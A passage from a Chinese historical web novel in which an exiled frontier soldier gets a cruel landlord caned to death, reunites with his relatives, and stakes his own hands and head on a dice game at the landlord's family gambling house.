《充军之奴,砍到一字并肩王》
第37章 杖刑不可叠加
这一幕,让人就搞不懂了。
叶十三就像没事人一样,边回着徐老六的话,边提着一把茶壶,给叶家叔侄每人倒了一碗茶水。
“二叔,腊八哥,先喝口茶暖暖身子,徐佥事会给你们做主的。”
早已吓得面如死灰的叔侄二人,更加被眼前的景象搞得晕头转向。
呆呆地望着叶十三,瑟瑟发抖的叔侄二人,居然忘了喝眼前热气腾腾的茶水。
“看来,我这二叔和堂哥,是被何老爷吓坏了。”
叶十三笑着,把目光投向徐老六脸上。
精于世故的徐老六,一看眼前的架势,再加上叶十三方才的话,心里顿时就明白了几分。
迟疑片刻,何正一脸讪笑,拱手道:“草民何正,见过佥事大人。”
“哦!”
徐老六缓缓转过身来,上下一打量何正,淡淡说道:“原来是何员外,你不在芦河湾村享清福,跑我这破庙来,不会是上香来的吧?”
这话,让何正没法接了。
上香?
这破庙是不假,近年来军部征收任务加重,垦田区的日子那是最不好过的。
但这上香?
难道是这徐佥事,嫌他这几年没有上供?
严格说,原住民的村子,并不属于垦区管辖,再是一个佥事,作为自然村少有的富户,也巴结不到屯田村这边。
“佥事大人说笑了!”
脸上霎时一阵尴尬的何正,立刻又堆起笑意,拱手道:“草民无意间,发现有烽燧兵偷了佥事大人的马,这不,给扭送到您这里了,这等品行恶劣之人,得好好处罚才是。”
“偷马?”
“什么马?”
徐老六眉头一皱,接连一问就是两句。
“那不是?”
何正哈着腰,罗萝卜般粗细的一根手指,指向叶十三骑的那匹战马。
望着院子里的那匹马,徐老六面上闪过一丝愠怒,皱着眉头看向一脸谄媚的何正,道:“就连本佥事所骑的马,都是叶什长所赠,你一个庶民,居然管起我屯田村的军中之事,你的手,未免伸得太长了些?”
此言一出,何正顿时呆愣当场。
边城是苦了些,但丝毫没有影响他富甲一方。
芦河湾村的村民,几乎都是他何正的佃户,拥有无数良田的何正,从来都是说一不二的人物。
但在徐老六面前,他还得有所收敛,比较人家是兵,他何正是民。
“叶什长,您传我过来,这是要……”
徐老六微微躬身,恭敬有加地征求叶十三的意见。
叶十三指着叶家叔侄,道:“我二叔和堂兄,在芦河湾凿冰捕鱼,只为了自己不被饿死,却被这个何员外带人殴打,还要罚银十两,若是交不出罚银,就拿本什长的妹妹顶债。”
“此事,非烽火台的军务,本什长无权干涉,还望徐佥事主持公道。”
叶十三又补充了一句,其实也是向徐老六传递了个信息。
既然叶十三已经定了调子,徐老六哪敢怠慢,只好顺着这个调子唱下去。
“好啊!”
徐老六转过身来,紧盯着何正那张油汪汪的胖脸,冷冷说道:“身为庶民,居然私设公堂,对流放奴籍私刑上身,你眼里还有军部吗?还有朝廷王法吗?”
“佥事大人,这……”
这时候,察觉到情形不妙的何正,额头霎时就渗出了冷汗,脸色惨白的颤声说道:“误会,完全是个误会,草民我这就不打搅了……”
说着,何正向身边的人使了个眼色,拔腿就往院子外走去。
“慢着!”
看到何正要溜,徐老六胸膛一挺,厉声喝道:“屯田村的签房,好歹也是个军务之地,岂是你说来就来,说走就走的地方?”
“来人!”
紧接着,面色顿变的徐老六,大手一扬道:“将目无王法的刁民何正,给本佥事拿下。”
话音一落,早有按捺不住的两名田兵扑了上去,一左一右拧住何正的两条胳膊,另有一名田兵绕到后面,照准何正的腿弯狠狠就是一脚。
“跪下。”
一声厉呵之下,何正就像一只装满了粮食的口袋,“扑通”
一声就被踹得跪了下来。
见势不妙的护院们趁机想溜。
迟了,随徐老六一起来的田兵们,早已横刀在手,一字排开把手住了院门。
“佥事大人,这完全是一场误会啊!”
抖着一身肥肉的何正,杀猪一样地嚎叫了起来。
眼前的这一幕戏曲性的反转,惊得叶家叔侄差点把手中的茶碗打翻在地。
叶腊八偷瞄了外面一眼,悄声说道:“二叔,咱家闰儿,这是混出名堂了?”
叶举更是一脸惊慌,忙道:“你没听见,他们喊闰儿什长哩!”
“这下好了,何员外的堂弟才是个伍长,咱闰儿已经是什长了,还大他堂弟一头。”
叶腊八这才松了一口气,把手中茶碗里洒得剩下的热茶,一口气就喝了个精光。
叶举也是喝光了茶碗里的热茶,低声说道:“这下,何员外可是一脚踢在石头上了,好歹他惹了他惹不起的人。”
“没错!”
叶腊八点点头,欣喜道:“那他把咱捞的鱼,还有咱的渔具,都得归还给咱,银子也就不用罚了。”
二人也想得太幼稚了。
眼下的何正,岂是能轻易脱得了身的?
落在这些食不果腹的田兵手里,不脱他三层皮下来,那也太小看这些兵痞油子了。
这时候,叶十三大刺刺地坐在一张田兵抬过来的椅子上,饶有介事地看向一脸惶恐的何正。
一张书案,已经摆在签房门口正中,徐老六黑着一张脸端坐在后面。
叶十三缓缓看向书案后端坐的徐老六,淡淡道:“请问佥事大人,非籍人员殴打军属,这该当何罪?”
军属?
这话没错,叶十三虽然是最低等的奴籍,但他眼下是戍边部队,北防军前哨烽火台的烽燧兵,当属军职人员了。
流放苦役的奴籍人员叶举,叶腊八二人,当然算得上是军属了。
这个概念,叶十三偷换得天衣无缝。
徐老六心头一凛,他知道,叶十三这是不肯轻易放过何正了。
心领神会之下,徐老六把头转向叶十三,道:“回叶什长话,无故殴打军属者,杖二十,罚银五两。”
“如此说来,殴打一人杖二十,罚银五两,那么我叶家二人被殴打,这如何算?”
叶十三居然这样算账,把难题又摆了一道。
“这……”
徐老六一窒,讪笑道:“杖刑不可叠加,但这罚银嘛!就按双份。”
“这个我不懂,那就仰仗佥事大人主持公道了。”
叶十三笑了,笑得有些诡异,继续又道:“还有,敲诈勒索现役军人,这又该当何罪?”
第38章 吃人的嘴短,拿人的手短
“啊……”
徐老六面颊急抽,万没想到,这叶十三居然把同一件事,分成三份来说。
这叶十三是谁?
那可是杀了成百元蒙鞑子的军功之人。
军部的嘉奖很快就会下来,到时候晋升后的职务,不知道要比他这个佥事高几级?
再说,杀了鞑子,给鞑子造成的震慑,可让屯田村暂且安宁一些时日。
还有抢来的粮食,耕牛和战马,不也是给屯田村分了吗?
拿人家的手短,吃人家的嘴软。
这种势态下,何正这个不长眼的土财主,可真是会挑日子惹事。
看来,今天不让何正褪下三层皮来,首先叶十三的这一关,那可是过不了的。
“回叶什长话!”
徐老六面颊又是一抽,正色道:“敲诈勒索现役军人,杖三十,罚银五十两,苦役两月。”
“佥事大人明鉴啊!”
还没升堂,被摁着跪在地上的何正,已经被吓得魂飞魄散,急忙喊道:“不看僧面看佛面,草民的堂弟何虎,也在烽燧兵任伍长职,就是草民无心之过,但也够不上杖刑加身,草民……”
靠着各种手段发家的土财主何正,自然是不甘心就这样被拿捏。
他万没想到,一个奴籍兵卒,居然能指使垦区的田兵佥事来对他动刑?
“大胆!”
不料徐老六并不买账,拳头一擂桌面,怒斥道:“如何决断,乃是本佥事量刑的,岂由你一介草民大呼小叫?”
“来呀!”
沉下脸来的徐老六,拳头又是一擂桌面,向左右的田兵喊道:“先把这狂徒杖五十,其他的再说。”
五十杀威棍,足可让何正皮开肉绽。
要是不经打,说不定一通杖刑下来,年过半百的何正就会由此见阎王。
“佥事大人且慢!”
就在这时候,围观的看热闹的人群外面,挤进来一个人。
是韩老三。
韩老三弯着腰,带着老大儿子韩庆,提着一根棍子就来到书案前面。
“请佥事大人恕小的背部有伤无法行大礼。”
韩老三偏着脑袋,拱手又道:“小的因伤休养,耽误军务不少,这杖刑,就由小的父子来代劳吧!”
现场有的是田兵,完全可以对何正执行杖刑,这刚从鬼门关被叶十三拉回来的韩老三父子,这是唱的哪出啊?
“你……”
一看到韩老三出现,何正眼里闪过一丝恐惧,惊到:“关你什么事?”
“如何就不关我事了?”
韩老三缓缓转身,偏着脑袋坏笑道:“老子身为田兵,乃佥事大人手下,对你执行杖刑,那也是分内之事。”
这一幕,倒把叶十三给整懵了。
这韩老三不在屋里养伤,跑签房凑什么热闹?
正在这时候,韩老三的小儿子溜了过来,附在叶十三的耳朵上小声说道:“什长叔,这狗东西何员外太狠毒了,我爷爷就是他家的佃户,去年粮食欠收,活活给饿死了。”
什么?
闻言之下,叶十三大惊,他这才知道,韩老三的老家,居然是芦河湾村?
这可是冤家路窄,看来何正今天是在劫难逃了。
再看父子俩手中的棍子,那可是枣木棍,而不是田兵手中拿着的白蜡杆。
白蜡杆看起来直溜,但柔韧。
可枣木棍就不一样了,不直溜不说,而且上面多是硬节。
这要是打在人的身上,不只是皮开肉绽那么简单,恐怕连骨头都会被打碎。
何正也不傻,恐惧得瞳孔一阵紧缩,大喊道:“佥事大人,绝不能让韩老三公报私仇,你身为佥事,更不能徇私枉法啊!”
这一声喊,徐老六的脸色更加黑了。
不就是个土财主吗?
仗着镇里有些关系,搜刮村里百姓,压榨佃户,还敢在他面前叫嚣。
“佥事大人,让我来!”
又有两名田兵走上前来,向徐老六拱手一礼,道:“韩老三本是休假之人,其子韩庆只是家属,又非在编军职,还是由小的执行杖刑。”
这下,徐老六明白了。
这二人,也是从芦河湾村出来的。
他们的家小,也还在村中,都是何家的佃户。
这一下,韩老三是无话可说了,心里反而更加高兴。
就眼前这二人,总比他这个元气还未恢复的伤兵要有劲多了。
让他二人执行杖刑,这可要比他父子更凶猛。
“张三,李大头,你们敢对我动手?”
惊恐之下,何正咆哮起来。
他万没想到,这些人也借机跳了出来。
“别忘了,你们的家人还在芦河湾村,得罪了本员外……”
叫骂不止的何正,突然戛然而止,他从二人是眸子中,看到有杀气四射。
本来只想出一口恶气的两名田兵,被何正这一通威胁,二人眼中顿时杀机迸溅。
“给张叔,接着。”
机灵的韩庆,把自己手中的枣木棍子,直接扔向其中的一名田兵。
韩老三少有血色的脸上,也浮起一丝古怪的笑,把手中的枣木棍递向另一名田兵,道:“那就有劳李兄弟了!”
“徐老六,你敢对本员外行刑,小心镇里……”
“来人,杖五十!”
面色黑青的何正,威胁的话还没说完,就被徐老六一声令下打断。
“啪!”
“啊……”
“啪!”
“啊……”
一声棍子打在人肉上的闷响,一声撕心裂肺的惨叫,顿时就交叉着起伏不断。
“一,二,三……”
“啊……啊……”
当数着数的人,报到三十六的时候,被摁得趴在地上的何正,已经叫不出声来。
一同来的成十个家奴护院,此时已经都被吓得魂飞魄散。
他们惊恐地望着眼前地上一动不动的何正,都明白过来,何家这一劫,已经是在所难免了。
“杖数不足,继续执行!”
已经对何正痛下杀心的徐老六,已经是骑虎难下,只有硬着头皮让田兵把杖刑执行完毕。
“啪,啪……”
枣木棍子又在两名田兵的手里抡圆了起来。
背上的棉袄已经被打得成了碎片四散溅落的何正,此时就像一坨泥巴一样趴在地上一动不动。
“四九,五十。”
“禀报佥事大人,杖刑完毕!”
当最后一棍落下,在数数的田兵报出数目后,张三和李大头二人,这才悻悻地收起棍子立在一边。
“佥事大人,何正他,死了!”
报完数目的田兵,蹲了下来一探何正的鼻息,又一摸何正的腕脉,仰起头来又道:“没气了,也没了脉跳……”
第39章 看来,没有不怕死的人
死了?
闻言之下,徐老六心头一凛。
已经打死了人,这个雷,还得自己顶着。
“叶什长您看?”
表面笃定的徐老六,目光看向叶十三。
叶十三神态冷漠,迎着徐老六的目光,淡淡说道:“此人欺压村民,危害一方百姓,既然刑责已经追究,就不罪及他人了。”
话音一落,那些看家护院的打手家奴们,纷纷跪了下来呼道:“什长大人英明啊!”
看来,没有不怕死的人。
这些家奴,平时仗着何正的威风,没少干缺德事。
如今东家何正被活活打死,他们心里清楚,这些军户,都是他们惹不起的人。
“叶什长所言极是!”
借坡下驴的徐老六,即刻抓住这个台阶让自己下台。
不料,叶十三淡淡又道:“何正之罪,苦役可免,但罚银不可不究。”
这何正已经被打死,也是算他短命不抗打。
既然人已经死了,罚苦役的事,也就不了了之了。
但叶十三还不放过对何正按律所罚的银子。
这一提醒,徐老六不得不暗叹叶十三的狠辣。
这个其貌不扬的奴籍兵卒,绝不是他想的那么简单。
一阵短暂的怯意之后,徐老六指着那些家奴,正色又道:“何正已经伏罪,本佥事网开一面,就不示众了,你们将何正带回去自行处理后事,限何家三日内交清罚银,若敢抗法,按律没收田产充公。”
如释大赦的何正家奴们,纷纷跪下致谢,然后把何正的尸体,抬上马车后仓皇离开。
……
跑去烽火台找何虎搬救兵的那个护院,差点被马成打断了腿。
狼狈不堪地回到屯田村,到了签房大院,这才知道他的东家何正已经被打死。
内心被惊起骇天巨浪的打手护院,连芦河湾的何家都没敢再回去,趁着没人注意到他这个无足轻重的小人物时,悄悄地就溜回了自己的老家。
叶十三带着叶举和叶腊八,直接来到沙窝里的茅草屋。
“大嫂……”
一打照面,四十出头的叶举,扑在地上已经泣不成声。
“你……你是……叶举?”
通过声音,叶刘氏这才分辨出来,眼前眼泪直流,须发蓬乱,满脸污垢的男人,是她的同族小叔。
“腊八见过婶娘!”
和叶举同样让人辨认不出的叶腊八,跪了下来向叶刘氏行礼。
“二叔,堂哥,是你们吗?”
听到动静的彩儿,伸着两手摸了过来。
到了这种境地,叶刘氏和叶举叔嫂二人,也顾不得向以往那样男女避嫌,相互搀着胳膊就痛哭起来。
这份亲人相见的真情流露,也深深震撼了叶十三。
面对这些便宜得来的亲人,不禁让他心头泛起无尽的酸楚。
“蔡一,快去烧水煮饭。”
呆在一旁无事可做的叶十三,只好使唤蔡一先去烧些热水让叶家叔侄洗漱一番,然后再准备饭菜招待他们。
不大时候,洗净了头脸的叶家叔侄,这才露出来真实的面目。
目眶通红的叶举,悲声又道:“要不是闰儿,我这把老骨头,早被何家那些人拆散扔在河滩上了。”
“他们可真狠,我叶家已经如此艰难了,这些人还要找茬欺负!”
对此深有体会的叶刘氏,也不禁恨声骂了起来。
“唉!”
叶举长叹一声,摇头道:“我是一把老骨头了,死也就死了,可是腊八还年轻,还不到三十岁啊!”
叶举的话,引得彩儿也抽泣起来。
本来亲人相逢时的喜悦,反而被一层悲怆笼罩。
不忍直视这一幕的叶十三,只好躲在一旁分割羊肉。
叶十三让田兵送过来的羊肉,叶刘氏一直舍不得吃,每天依旧是煮山药蛋和糊糊汤凑数。
待热腾腾的羊肉端上了桌,情绪也稳定了下来的叶举,这才注意到蔡一的存在。
“这位是?”
按理说,一个奴籍兵卒,不会这么快就能找下妻子成婚吧?
面对叶举不解的一问,叶刘氏说道:“蔡一也是周围村里人,家中早已断炊,求到咱家门上,闰儿这才收留了蔡一侍奉我和彩儿。”
叶刘氏的话,让叶举更加感慨不已。
发配流放的奴籍人员,不是充军就是苦役,可叶十三这个奴籍兵卒,却有如此大的能耐,就让叶刘氏和彩儿摆脱了被奴役的日子。
这还有下人使唤,享受着主子的生活。
这才多长时间啊?
叶十三是他看着长大的,这个从小就羸弱胆小,看见厨房杀鸡都晕血的柔弱书生,如何就变得如此霸气?
从前面徐老六们对叶十三的态度,不难看出叶十三在这里备受尊敬。
这,不可能!
奴籍就是奴籍,任何人都能出来踩踏两脚的奴籍。
明知不可能,但他又实在想不出个所以然来。
“二叔,腊八哥,趁热吃,羊肉凉了就不好吃了!”
叶十三倒是很笃定,语气平静地催促二人吃饭。
两个连糊糊汤都喝不饱的人,面对如此肥嫩的炖羊肉时,却忘了饥肠辘辘的肚子,只是一个劲地追问这里面的缘由。
“二叔,我哥哥当官了,都当什长了!”
掩饰不住兴奋的彩儿,一语道破玄机。
“什长?”
在签房大院,叶家叔侄是听到那些田兵们如此称呼叶十三的。
难怪,叶十三没把何正放在眼里,何正不就是仗着有个当伍长的堂弟,这才如此横行霸道。
“是啊!”
叶刘氏的脸上,也露出一丝欣慰,把一块在牛粪火上烤得焦黄的山药蛋,递进彩儿的手里,目光看向叶举又道:“闰儿军务卖力,现担任着这黄羊岘烽火台烽燧兵的什长,前段时间,还带手下杀了成百的鞑子呢!”
成百的鞑子?
要不得特别了解他这个堂嫂,叶举还真会以为这个老婆子吹牛呢!
成百的鞑子?
那是什么概念?
听人说,就是二三十个鞑子骑兵,撵着整村的人四处逃窜。
就这千里北防线的边区,被小股的鞑子骑兵屠村的都不少。
一个连看到杀鸡都晕血的人,能带着手下杀了成百的鞑子,而且还是骁勇善战的骑兵?
突然,叶举想到叶十三来时骑的那匹马,当时还说是鞑子的马来着?
而且,在签房大院,那个姓徐的佥事都亲口说,他骑的战马,还是叶十三赠予的。
在极度的震惊下,叶举的心还是宽了下来,高兴上头之余,把目光投向叶腊八,喜道:“快吃,你婶子让煮的羊肉,多香……”
“婶娘,彩儿,大家都吃!”
喉结早已蠕动不已的叶腊八,赶忙抓起筷子,礼让大家都吃。
好久都没吃过了饱饭的叶家叔侄,这时候也不客气,狼吞虎咽地就把一盆清炖羊肉吃了个渣都不剩。
望着汤水都没剩下的空盆,叶举又难过起来。
家世显赫的叶家,一场突来的变故后,龙颜大怒被贬奴籍,偌大的一门家人,年轻的女人被充为官妓,男丁被充军,就连老弱病残,都流放罚了苦役。
眼下就剩五个人了,竟然以这种方式吃了一顿团圆饭。
“大嫂……”
堂堂男儿的叶举,想到这些,居然又落泪不止。
第40章 这年头,女人不值钱
天色将黑,叶十三带叔侄二人来到营房。
幸好,还有几双从鞑子骑兵尸体上拔下来的靴子。
叶举和叶腊八二人脚上的草鞋,已经破烂得不成样子。
“二叔,大哥,快把草鞋脱了去,如此寒冷的天气,草鞋如何能抗冻?”
何秀儿把两双鞑子穿过的牛皮靴子,收拾干净了摆放在二人面前。
此时的叶举这才完全相信,他的这个侄儿,已经是在这片土地上说一不二的人物。
“二叔,大哥,芦河湾村的活不干也罢!”
思忖片刻后,叶十三终于做出了决定。
“就留下来帮烽火台喂马吧!”
这一决定,又让叶举和叶腊八二人,霎时就感动得热泪盈眶。
喂马!
这活不重,就是重活,在叶十三手下,起码没人随意欺负他们。
只要叶十三有一口吃的,就不会让他们饿着。
“闰儿,你出息了。”
“就是啊!闰儿弟弟在这地方,谁都不敢低看。”
叶家叔侄,顿时就心花怒放。
突然,叶举似乎想起了什么?
担忧道:“那何家,家大业大,恐怕不会善罢甘休?”
叶腊八想了一想,也道:“如今何正死了,但他的弟弟何旺也不是个善茬,恐怕不会老老实实的交了罚银?”
叔侄二人的担忧,倒让叶十三笑了。
“我还真怕他们利利索索地把罚银给交了。”
此言一出,叶家叔侄二人就不懂了。
赖着罚银不交,难道还是好事?
他二人不知,此时的叶十三,心里又盘算起另外的主意来。
“何家具体有多少良田?”
突然,叶十三如此一问。
这就让叔侄二人摸不着头脑了。
“闰儿,何家在镇上有靠山,你得加倍小心了。”
为此放不下心的叶举,不由得心里一阵紧张,继续说道:“何家在芦河湾村能够一家独大,那是和镇上的衙门有着猫腻,没有镇上的衙门撑腰,何家能如此霸道?”
这些,叶十三能想到的。
边城地区十年九旱,再加上鞑子时常越界骚扰,但也没让何家衰败下来。
芦河湾村虽然有屯田村,还有野驴滩在前面当着,位置上相对安全一些,但大环境的影响下,能够让何家如此膨胀起来,这和镇上的衙门不无关系。
但芦河湾村却拥有着边城地区最肥沃的土地,产出要比其他村子高多了。
边城不似内地,属于军管地区。
一些事务,地方衙门管理的同时,北防军也能插手管辖。
叶举的担心也是不无道理的。
但叶十三的底气,那是叶举和叶腊八岂能知道的?
“放心好了!”
叶十三一笑,笑的是有些诡异。
但叶举还是放不下心来,比较他们都是遭贬的奴籍,没有任何自由自主权的奴籍。
奴籍,就是铺平在地上,任何人都能踩踏的一个种群。
被贬为奴籍的人,没有迁徙的自由,只有在流放地自生自灭。
除非朝廷开恩,才有翻身的机会。
这种事情很少,若有新君继位,才可大赦天下。
但哪个新君还会惦记流放充军的奴籍?
奴籍在一定的程度上,只是比监牢中在押的人犯多了一些自由。
要知道,从镇上随便拎出一个管事的人来,都比一个小小的什长威风多了。
除非能混到百夫长,这才有一定范围的实权,起码手下管辖的人数是上百的。
也就是说,叶十三在这黄羊岘的烽火台,才算是个头。
就是个头,手下也只有九个烽燧兵而已。
何况,黄羊岘烽火台的烽燧兵,实际人数,加上叶十三本人,也才五人。
准确来说,叶十三眼下就是个伍长。
“闰儿弟弟,切不可轻心大意,二叔说的不是没有道理。”
面对叶十三的不在乎,叶腊八也紧攥着一把汗。
叶腊八年近三十,要比叶十三还要大上六七岁。
面对这个堂哥的担忧,叶十三答非所问,笑道:“腊八哥,你觉得那个蔡一如何?”
蔡一?
不就是沙窝的茅草屋里,侍奉叶刘氏和彩儿的那个女人么?
“啊……”
毫无准备的叶腊八,被叶十三猛然的这么一问,直接给问了个大张嘴。
“我是说,那个蔡一,做内室如何?”
叶十三诡异地一笑,紧接着又是一问。
内室?
莫非是叶十三看上了那个女人,想纳室成亲?
叶十三看上的人,那还有错?
“好女人啊!”
叶腊八想都没想,脱口就说,“那女子手脚麻利,身材五官也标致,是个内当家的料。”
“好!”
叶腊八的话刚落,叶十三叫了一声“好”来,“哈哈”一笑又道:“既然腊八哥看着行,那我改天就问问蔡一,反正她也是个吃不饱肚子,又无坚实依靠的苦命人,给大哥续一门弦,也不至让叶家断了后。”
此言一出,叶家叔侄二人顿时大惊失色。
给叶腊八续弦?
一个妹妹和妻子都被充了官妓,不足六岁的女儿和四岁的儿子又病死在流放的路上,能活着,对于叶腊八来说,就已经是老天垂恩了。
叶举更是热泪盈眶,他已经四十出头,苟且偷生就是天命。
他们这些活着的人,哪还敢想血脉香火的事?
就他们自己,肚里没有隔夜的食,谁家女子能看上奴籍的人?
确定这个侄儿不是在逗他叔侄开心?
“闰儿,开不得如此玩笑!”
叶举惊得双手乱摆,急道:“有口吃的,能活几天就算几天,腊八哪有如此福分?”
“二叔!”
叶十三双手抱着后脑勺,往火炕上一躺,缓缓又道:“这年头,女人不值钱,能给口吃的,周围村子里的女人还不上赶着往咱的炕上爬?”
话是这么说!
但你得能拿出吃的来呀!
这个道理,叶举和叶腊八都懂。
就他们二人,眼下得靠叶十三养活。
但烽燧兵也就那些粮饷,何况叶十三还养着他的母亲和妹妹。
“闰儿弟弟!”
提到续弦,叶腊八的眼眶就红了起来,哽咽道:“哥哥我都是拖累你的累赘,哪还敢在娶妻生子?”
“一切都会好起来的!”
叶十三语气平缓,但说得又是如此笃定。
好像这边城的事,都由他说了算一样。
初生牛犊不怕虎,任何年轻人都冲动,叶十三也不例外。
叶家叔侄,也就当时这个书生意气风发,心里尽想着不着边际的好事而已。
无论如何,再是荒唐的想法,那也是为叶家着想。
看到这个话题,叶家叔侄响应的情绪并不高,叶十三摇摇头,笑道:“我就盼着何家闹腾,闹腾得越欢,我越高兴!”
没病吧?
会不会是学骑马时,脑袋被马踢过?
突然,叶十三从炕上坐了起来,沉声道:“我要吃了何家,只要他们闹得凶,我就有了吃他何家的机会。”
第41章 赌坊,赌命
叶十三的话,直接把叶家叔侄吓得浑身一哆嗦。
吃下何家?
那可不是杀个人就能办到的。
叶举咳嗽一声:“闰儿,可不敢闹事,还是少结怨仇为好。”
“这个事,我还真要闹。”
叶十三笑了,笑得有些诡异。
“闰儿弟弟,听哥的,咱好好的,尽量别惹那些地头蛇。”
叶腊八也是一脸的紧张,他搞不懂这个自小就羸弱的堂弟,居然有如此凶狠的野心。
无论如何,叶举和叶腊八都是他名义上的亲人,太多的想法暂且还是不便多说,免得他们为此提心吊胆。
“好吧!”
叶十三点点头,为了不再让叶家叔侄为他担心,便道:“以后,你们就住营房,这几匹军马,那可是上等的战马,得操心好了。”
“闰儿放心吧!”
叶举点点头,就像得到了一项神圣的使命一样,拍着胸脯说道:“我和你堂哥,一定会把马喂好的。”
有了专人喂马,叶十三就省心多了。
减员省出来的那份粮饷,正好解决叶家叔侄二人的生活。
边城就是山高皇帝远的地方,圣听不畅,全凭上报。
眼下最要紧的,还是瞭望哨,吃亏不少的元蒙鞑子,定不会偃旗息鼓,只是他们还没有想好更好的办法而已。
在元蒙鞑子没再次入侵之前,叶十三已经在盘算何家的事了。
何正已经是死了,但他的二弟何旺,不会由此善罢甘休。
三天!
徐老六给何家人缴纳罚银的期限是三天,如果超过三天,就达到叶十三的预期了。
“鸟人,你可别怂!”
叶十三肚里暗骂一阵,时刻盼着何家人兴师动众来找事。
最好是直接来找他的麻烦,来黄羊岘烽火台找他。
傍晚,马成来了。
“什长大人,听说您把何正给灭了?”
一打照面,马成单刀直入,一脸兴奋地望着叶十三。
“打我家人,辱我叶家,那他是活腻了。”
叶十三点点头,毫不忌讳地承认了弄死何正的事。
他知道,马成的老家,就在芦河湾村,家人也是给何家扛活的佃户。
“真解气!”
马成紧握着的拳头,狠狠擂了一下桌面,低声又道:“小的有句话,不知当讲不当讲?”
有戏!
叶十三知道,马成不会放过这次机会,一定会搞出什么鬼点子来。
“讲!”
叶十三点点头,示意马成坐下说。
“什长大人!”
马成眼里闪过一丝寒芒,用手掌作了个砍的动作,低声道:“斩草要除根,不然后患无穷。”
草!
这鸟人,还真够狠。
自己没能耐搬倒何家,这次看到何家吃了大亏,这就跑叶十三跟前煽风点火了。
“是这样!”
得到了叶十三目光的鼓励,马成咬着牙说道:“何家老二,也不是个善茬,如果何正是徐佥事弄死的,那何家人也没办法,只有忍了,但一切都是由什长大人您引起的事端,那他们绝对不会咽下这口气的。”
这话没错。
徐老六毕竟是个军户佥事,田兵也是军伍,地方百姓还真拿他没办法。
但叶十三就不同了,一个奴籍兵卒,而且还是个烽燧兵而已。
这样的身份,家大业大的何家,那自然是不会放在眼里了。
他们认为,徐老六只是得到了叶十三的好处,这才向着叶十三说话。
这要是直接找叶十三的麻烦,绕过屯田村这一块,料他徐老六也无话可说。
就是徐老六想要多管闲事,但他也得掂量掂量,不会不顾忌何家在镇上的关系。
“何正是死了,也算是罪有应得,但何家……”
叶十三话说一半,停了下来盯着马成的脸,他想让马成制造个麻烦出来。
果然,马成迫不及待地说道:“何家的家业,大多都是霸占来的,开赌场,放印子钱,害得村民家破人亡,何家赌坊那就是个祸根!”
赌场?
叶十三眼前一亮。
用其人之道,还治其人之身,这难道不香吗?
“你的意思是,去何家的赌场赌一把?”
叶十三把目光投向马成。
马成浑身一抖,没想到叶十三想用这个方式?
如果赌,马成还没把握。
他只是想制造矛盾,让何家和叶十三死磕,从而引得叶十三大开杀戒灭了何家。
最好是一言不合,提刀就砍。
“嗯!”
叶十三点点头,嘴角扬起一丝笑意,道:“要么去试试,说不定还赢几把回来。”
说实话,叶十三的决定,大出马成的意料。
去何家的赌场赌,纯属找死。
不过,依叶十三的做派,那是不会让何家白白赢钱的,闹起来才好……
一晃三日过去,何家并没有来缴纳罚银。
叶十三做了简单的安排,留下三人值守烽火台,而他带着马成,策马去了芦河湾村。
踏入这何家赌场的时候,眼中透着一抹决然。他看着周围人来人往,赌桌前那些或兴奋或绝望的脸,嘴角勾起一抹冷笑。
给何正办完了丧事的何旺,正坐在赌场的一个角落,喝着闷酒,看着手下人忙碌。
突然,他的目光被叶十三吸引。这个年轻人身上散发着一种不同寻常的气息。
“他,就是叶十三……”
一名护院,低声在何旺的耳边嘀咕了一阵。
“狗东西,胆子不小,居然主动前来送死!”
何旺咬着牙,直接把手里的酒杯捏了个粉碎。
进了赌场的叶十三,目不斜视地走到一张赌桌前坐下,大声道:“昨晚做了个好梦,今天爷撞撞运气,赢几个银子买酒喝。”
这话一出,周围的人都哄笑起来。
就那傻样,跑赌场发财?
这小子的脑袋是被驴踢了。
何旺皱皱眉头,眼里杀机顿起。
缓缓起身走过来,看着叶十三说道:“我何家的场子,有的是银子,只要你有本事赢走,何家不怕没钱兑付。”
叶十三抬头,斜瞥何旺一眼:“好久没发饷了,从这里找钱花,还真是个不错的办法。”
这话,差点把何旺给气死。
何旺盯着叶十三的脸,道:“那好,我就陪你玩玩。你想怎么个赌法?”
叶十三说:“就最简单的,骰子,比大小。”
何旺笑了:“好,小子,你有多少赌注?”
叶十三目光一扫四周,举起两只手来,道:“两只手,够不?”
“好,够了!”
何旺眼露凶光,没想到叶十三居然主动上门找茬。
也好,何家正愁没想出来好办法替何正报仇,这样一来倒是免了很多麻烦。
“一只手,算一百两银子,两只手给你二百两银子的筹码,如何?”
“成交!”
叶十三巴掌一拍桌子,又道:“二百两银子的筹码,也不少了。”
筹码被拿了过来,同时也拿来了文房四宝。
“先小人,后君子,既然是如此赌法,那么就签字画押吧!”
何旺把纸笔往叶十三面前一推,一副已经吃定了他的样子。
“好说,愿赌服输,不过你也得签,免得输了赖账。”
叶十三当仁不让,也要求何旺白纸黑字地把规矩写下来。
“这是你自己找死,可别怪老子手黑。”
报仇心切的何旺,二话不说就签了字,而且还摁了手印。
如此赌法,几个赌桌上的人都围了过来。
“你是东,你做庄吧!”
叶十三大大咧咧,一副毫不在意的样子。
“好!”
何旺嘴角一抽,看来这小子是找死。
何旺摇动着骰子盅,眼神中带着一丝得意。
叶十三紧紧盯着那骰子盅。
刷啦啦一阵响,何旺停下手,挑衅地看着叶十三:“请吧!”
叶十三一阵摇头晃脑,深吸一口气:“大。”
说着,就把五十两银子的筹码往前一推。
何旺打开盅,三个骰子的点数是小。
“小子,看来你没那个运气啊。”
在何旺的讥笑声中,围观的人也倒吸了一口凉气。
初战失利,叶十三又把五十两银子的筹码往前一推,咬咬牙:“再来。”
三轮下来,叶十三已经输了一百五十两。
这下,何旺没有催叶十三下注,而是盯着叶十三的放在桌面上的两只,嘲讽道:“还有一把,你可想好了?”
这时候,叶十三却突然冷静下来:“索性,赌大点,这个,能换多少筹码?”
此言一出,全场皆惊。
叶十三指着的,可是自己的脑袋。
这是赌命?
“痛快点,两只手,一颗人头,赌你何家三百顷良田,敢不?”
叶十三完全一副输急了眼的烂赌棍架势,就他那点成色,还想赢何家的三百顷良田?
“小子,你想好了?”
眼露凶光,强按着心头怒火的何旺,死死盯着叶十三的眼睛。
叶十三两手一摊,道:“小爷人在这里,干脆点,就赌一把,还是你做庄,输了,伸着脖子让你砍,赢了,田产地契归我。”
“好!”
何旺把牙一咬,狠声说道:“白纸黑字,谁都不能抵赖,就一把定输赢。”
说完,何旺让管家拿来地契,放在桌上又道:“都在这里,就看你有没有命拿走?”
跑我何家赌场来赌命赢钱,老子正求之不得的,今天就要了你这狗东西的命为我何家的大爷报仇。
